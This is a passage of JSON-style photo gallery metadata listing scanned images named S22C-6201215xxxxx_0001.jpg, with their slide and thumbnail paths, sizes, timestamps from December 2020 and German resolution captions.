    S22C-620121516492 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516492_0001.jpg","width":340,"height":260},"fileSize":460578,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516492_0001.jpg","dates":{"dateTaken":1608392874},"fileDate":"2020-12-19T16:47:54.367Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:54.367Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516493_0001.jpg","image":{"path":"slides\/S22C-620121516493_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516493 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516493_0001.jpg","width":340,"height":260},"fileSize":213948,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516493_0001.jpg","dates":{"dateTaken":1608392875},"fileDate":"2020-12-19T16:47:55.266Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:55.266Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516494_0001.jpg","image":{"path":"slides\/S22C-620121516494_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516494 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516494_0001.jpg","width":340,"height":260},"fileSize":779407,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516494_0001.jpg","dates":{"dateTaken":1608392876},"fileDate":"2020-12-19T16:47:56.215Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:56.215Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516500_0001.jpg","image":{"path":"slides\/S22C-620121516500_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516500 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516500_0001.jpg","width":340,"height":260},"fileSize":515018,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516500_0001.jpg","dates":{"dateTaken":1608392877},"fileDate":"2020-12-19T16:47:57.43Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:57.43Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516501_0001.jpg","image":{"path":"slides\/S22C-620121516501_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516501 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516501_0001.jpg","width":340,"height":260},"fileSize":408604,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516501_0001.jpg","dates":{"dateTaken":1608392877},"fileDate":"2020-12-19T16:47:57.784Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:57.784Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516502_0001.jpg","image":{"path":"slides\/S22C-620121516502_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516502 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516502_0001.jpg","width":340,"height":260},"fileSize":341992,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516502_0001.jpg","dates":{"dateTaken":1608392879},"fileDate":"2020-12-19T16:47:59.8Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:59.8Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516503_0001.jpg","image":{"path":"slides\/S22C-620121516503_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516503 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516503_0001.jpg","width":340,"height":260},"fileSize":472104,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516503_0001.jpg","dates":{"dateTaken":1608392881},"fileDate":"2020-12-19T16:48:01.990Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:01.990Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516504_0001.jpg","image":{"path":"slides\/S22C-620121516504_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516504 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516504_0001.jpg","width":340,"height":260},"fileSize":403623,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516504_0001.jpg","dates":{"dateTaken":1608392883},"fileDate":"2020-12-19T16:48:03.178Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:03.178Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516505_0001.jpg","image":{"path":"slides\/S22C-620121516505_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516505 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516505_0001.jpg","width":340,"height":260},"fileSize":387658,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516505_0001.jpg","dates":{"dateTaken":1608392884},"fileDate":"2020-12-19T16:48:04.159Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:04.159Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516510_0001.jpg","image":{"path":"slides\/S22C-620121516510_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516510 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516510_0001.jpg","width":340,"height":260},"fileSize":309740,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516510_0001.jpg","dates":{"dateTaken":1608392885},"fileDate":"2020-12-19T16:48:05.90Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:05.90Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516511_0001.jpg","image":{"path":"slides\/S22C-620121516511_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516511 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516511_0001.jpg","width":340,"height":260},"fileSize":276986,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516511_0001.jpg","dates":{"dateTaken":1608392886},"fileDate":"2020-12-19T16:48:06.923Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:06.923Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516512_0001.jpg","image":{"path":"slides\/S22C-620121516512_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516512 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516512_0001.jpg","width":340,"height":260},"fileSize":212864,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516512_0001.jpg","dates":{"dateTaken":1608392888},"fileDate":"2020-12-19T16:48:08.113Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:08.113Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516520_0001.jpg","image":{"path":"slides\/S22C-620121516520_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516520 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516520_0001.jpg","width":340,"height":260},"fileSize":452676,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516520_0001.jpg","dates":{"dateTaken":1608392889},"fileDate":"2020-12-19T16:48:09.43Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:09.43Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516521_0001.jpg","image":{"path":"slides\/S22C-620121516521_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516521 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516521_0001.jpg","width":340,"height":260},"fileSize":261504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516521_0001.jpg","dates":{"dateTaken":1608392890},"fileDate":"2020-12-19T16:48:10.870Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:10.870Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516570_0001.jpg","image":{"path":"slides\/S22C-620121516570_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516570_0001.jpg","width":340,"height":260},"fileSize":184807,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516570_0001.jpg","dates":{"dateTaken":1608392892},"fileDate":"2020-12-19T16:48:12.208Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:12.208Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517000_0001.jpg","image":{"path":"slides\/S22C-620121517000_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517000 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517000_0001.jpg","width":340,"height":260},"fileSize":496396,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517000_0001.jpg","dates":{"dateTaken":1608392897},"fileDate":"2020-12-19T16:48:17.889Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:17.889Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517001_0001.jpg","image":{"path":"slides\/S22C-620121517001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517001_0001.jpg","width":340,"height":260},"fileSize":516986,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517001_0001.jpg","dates":{"dateTaken":1608392899},"fileDate":"2020-12-19T16:48:19.176Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:19.176Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517002_0001.jpg","image":{"path":"slides\/S22C-620121517002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517002_0001.jpg","width":340,"height":260},"fileSize":356850,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517002_0001.jpg","dates":{"dateTaken":1608392900},"fileDate":"2020-12-19T16:48:20.339Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:20.339Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517003_0001.jpg","image":{"path":"slides\/S22C-620121517003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517003_0001.jpg","width":340,"height":260},"fileSize":466148,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517003_0001.jpg","dates":{"dateTaken":1608392902},"fileDate":"2020-12-19T16:48:22.501Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:22.501Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517010_0001.jpg","image":{"path":"slides\/S22C-620121517010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517010_0001.jpg","width":340,"height":260},"fileSize":439966,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517010_0001.jpg","dates":{"dateTaken":1608392905},"fileDate":"2020-12-19T16:48:25.611Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:25.611Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517012_0001.jpg","image":{"path":"slides\/S22C-620121517012_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517012 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517012_0001.jpg","width":340,"height":260},"fileSize":749428,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517012_0001.jpg","dates":{"dateTaken":1608392909},"fileDate":"2020-12-19T16:48:29.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:29.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517014_0001.jpg","image":{"path":"slides\/S22C-620121517014_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517014 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517014_0001.jpg","width":340,"height":260},"fileSize":433754,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517014_0001.jpg","dates":{"dateTaken":1608392913},"fileDate":"2020-12-19T16:48:33.411Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:33.411Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517020_0001.jpg","image":{"path":"slides\/S22C-620121517020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517020_0001.jpg","width":340,"height":260},"fileSize":206518,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517020_0001.jpg","dates":{"dateTaken":1608392914},"fileDate":"2020-12-19T16:48:34.525Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:34.525Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517021_0001.jpg","image":{"path":"slides\/S22C-620121517021_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517021_0001.jpg","width":340,"height":260},"fileSize":284036,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517021_0001.jpg","dates":{"dateTaken":1608392916},"fileDate":"2020-12-19T16:48:36.241Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:36.241Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517022_0001.jpg","image":{"path":"slides\/S22C-620121517022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517022_0001.jpg","width":340,"height":260},"fileSize":582508,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517022_0001.jpg","dates":{"dateTaken":1608392917},"fileDate":"2020-12-19T16:48:37.646Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:37.646Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517023_0001.jpg","image":{"path":"slides\/S22C-620121517023_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517023 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517023_0001.jpg","width":340,"height":260},"fileSize":414509,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517023_0001.jpg","dates":{"dateTaken":1608392918},"fileDate":"2020-12-19T16:48:38.608Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:38.608Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517024_0001.jpg","image":{"path":"slides\/S22C-620121517024_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517024 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517024_0001.jpg","width":340,"height":260},"fileSize":360185,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517024_0001.jpg","dates":{"dateTaken":1608392919},"fileDate":"2020-12-19T16:48:39.515Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:39.515Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517025_0001.jpg","image":{"path":"slides\/S22C-620121517025_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517025 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517025_0001.jpg","width":340,"height":260},"fileSize":257233,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517025_0001.jpg","dates":{"dateTaken":1608392921},"fileDate":"2020-12-19T16:48:41.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:41.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517030_0001.jpg","image":{"path":"slides\/S22C-620121517030_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517030_0001.jpg","width":340,"height":260},"fileSize":413296,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517030_0001.jpg","dates":{"dateTaken":1608392922},"fileDate":"2020-12-19T16:48:42.946Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:42.946Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517032_0001.jpg","image":{"path":"slides\/S22C-620121517032_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517032_0001.jpg","width":340,"height":260},"fileSize":348636,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517032_0001.jpg","dates":{"dateTaken":1608392925},"fileDate":"2020-12-19T16:48:45.470Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:45.470Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517033_0001.jpg","image":{"path":"slides\/S22C-620121517033_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517033 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517033_0001.jpg","width":340,"height":260},"fileSize":552792,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517033_0001.jpg","dates":{"dateTaken":1608392926},"fileDate":"2020-12-19T16:48:46.597Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:46.597Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517034_0001.jpg","image":{"path":"slides\/S22C-620121517034_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517034 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517034_0001.jpg","width":340,"height":260},"fileSize":249404,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517034_0001.jpg","dates":{"dateTaken":1608392927},"fileDate":"2020-12-19T16:48:47.566Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:47.566Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517035_0001.jpg","image":{"path":"slides\/S22C-620121517035_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517035 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517035_0001.jpg","width":340,"height":260},"fileSize":507768,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517035_0001.jpg","dates":{"dateTaken":1608392929},"fileDate":"2020-12-19T16:48:49.215Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:49.215Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517040_0001.jpg","image":{"path":"slides\/S22C-620121517040_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517040_0001.jpg","width":340,"height":260},"fileSize":471938,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517040_0001.jpg","dates":{"dateTaken":1608392930},"fileDate":"2020-12-19T16:48:50.593Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:50.593Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517041_0001.jpg","image":{"path":"slides\/S22C-620121517041_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517041_0001.jpg","width":340,"height":260},"fileSize":329707,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517041_0001.jpg","dates":{"dateTaken":1608392932},"fileDate":"2020-12-19T16:48:52.249Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:52.249Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517050_0001.jpg","image":{"path":"slides\/S22C-620121517050_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517050_0001.jpg","width":340,"height":260},"fileSize":263199,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517050_0001.jpg","dates":{"dateTaken":1608392933},"fileDate":"2020-12-19T16:48:53.210Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:53.210Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517051_0001.jpg","image":{"path":"slides\/S22C-620121517051_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517051_0001.jpg","width":340,"height":260},"fileSize":1038249,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517051_0001.jpg","dates":{"dateTaken":1608392934},"fileDate":"2020-12-19T16:48:54.346Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:54.346Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517052_0001.jpg","image":{"path":"slides\/S22C-620121517052_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517052_0001.jpg","width":340,"height":260},"fileSize":397025,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517052_0001.jpg","dates":{"dateTaken":1608392935},"fileDate":"2020-12-19T16:48:55.436Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:55.436Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517053_0001.jpg","image":{"path":"slides\/S22C-620121517053_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517053 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517053_0001.jpg","width":340,"height":260},"fileSize":502245,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517053_0001.jpg","dates":{"dateTaken":1608392937},"fileDate":"2020-12-19T16:48:57.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:57.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517060_0001.jpg","image":{"path":"slides\/S22C-620121517060_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517060_0001.jpg","width":340,"height":260},"fileSize":957330,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517060_0001.jpg","dates":{"dateTaken":1608392939},"fileDate":"2020-12-19T16:48:59.323Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:59.323Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517061_0001.jpg","image":{"path":"slides\/S22C-620121517061_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517061_0001.jpg","width":340,"height":260},"fileSize":421632,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517061_0001.jpg","dates":{"dateTaken":1608392940},"fileDate":"2020-12-19T16:49:00.521Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:00.521Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517062_0001.jpg","image":{"path":"slides\/S22C-620121517062_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517062 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517062_0001.jpg","width":340,"height":260},"fileSize":312763,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517062_0001.jpg","dates":{"dateTaken":1608392941},"fileDate":"2020-12-19T16:49:01.507Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:01.507Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517063_0001.jpg","image":{"path":"slides\/S22C-620121517063_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517063 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517063_0001.jpg","width":340,"height":260},"fileSize":558141,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517063_0001.jpg","dates":{"dateTaken":1608392942},"fileDate":"2020-12-19T16:49:02.435Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:02.435Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517070_0001.jpg","image":{"path":"slides\/S22C-620121517070_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517070_0001.jpg","width":340,"height":260},"fileSize":546368,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517070_0001.jpg","dates":{"dateTaken":1608392946},"fileDate":"2020-12-19T16:49:06.952Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:06.952Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517071_0001.jpg","image":{"path":"slides\/S22C-620121517071_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517071_0001.jpg","width":340,"height":260},"fileSize":384577,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517071_0001.jpg","dates":{"dateTaken":1608392951},"fileDate":"2020-12-19T16:49:11.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:11.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517072_0001.jpg","image":{"path":"slides\/S22C-620121517072_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517072 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517072_0001.jpg","width":340,"height":260},"fileSize":560596,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517072_0001.jpg","dates":{"dateTaken":1608392952},"fileDate":"2020-12-19T16:49:12.967Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:12.967Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517083_0001.jpg","image":{"path":"slides\/S22C-620121517083_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517083 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517083_0001.jpg","width":340,"height":260},"fileSize":911694,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517083_0001.jpg","dates":{"dateTaken":1608392956},"fileDate":"2020-12-19T16:49:16.710Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:16.710Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517084_0001.jpg","image":{"path":"slides\/S22C-620121517084_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517084 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517084_0001.jpg","width":340,"height":260},"fileSize":344189,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517084_0001.jpg","dates":{"dateTaken":1608392957},"fileDate":"2020-12-19T16:49:17.837Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:17.837Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517085_0001.jpg","image":{"path":"slides\/S22C-620121517085_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517085 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517085_0001.jpg","width":340,"height":260},"fileSize":711225,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517085_0001.jpg","dates":{"dateTaken":1608392958},"fileDate":"2020-12-19T16:49:18.906Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:18.906Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517090_0001.jpg","image":{"path":"slides\/S22C-620121517090_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517090 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517090_0001.jpg","width":340,"height":260},"fileSize":525442,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517090_0001.jpg","dates":{"dateTaken":1608392959},"fileDate":"2020-12-19T16:49:19.963Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:19.963Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517091_0001.jpg","image":{"path":"slides\/S22C-620121517091_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517091 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517091_0001.jpg","width":340,"height":260},"fileSize":276063,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517091_0001.jpg","dates":{"dateTaken":1608392961},"fileDate":"2020-12-19T16:49:21.28Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:21.28Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517093_0001.jpg","image":{"path":"slides\/S22C-620121517093_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517093 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517093_0001.jpg","width":340,"height":260},"fileSize":299435,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517093_0001.jpg","dates":{"dateTaken":1608392966},"fileDate":"2020-12-19T16:49:26.686Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:26.686Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517100_0001.jpg","image":{"path":"slides\/S22C-620121517100_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517100_0001.jpg","width":340,"height":260},"fileSize":405861,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517100_0001.jpg","dates":{"dateTaken":1608392969},"fileDate":"2020-12-19T16:49:29.911Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:29.911Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517101_0001.jpg","image":{"path":"slides\/S22C-620121517101_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517101_0001.jpg","width":340,"height":260},"fileSize":316499,"photodata":"

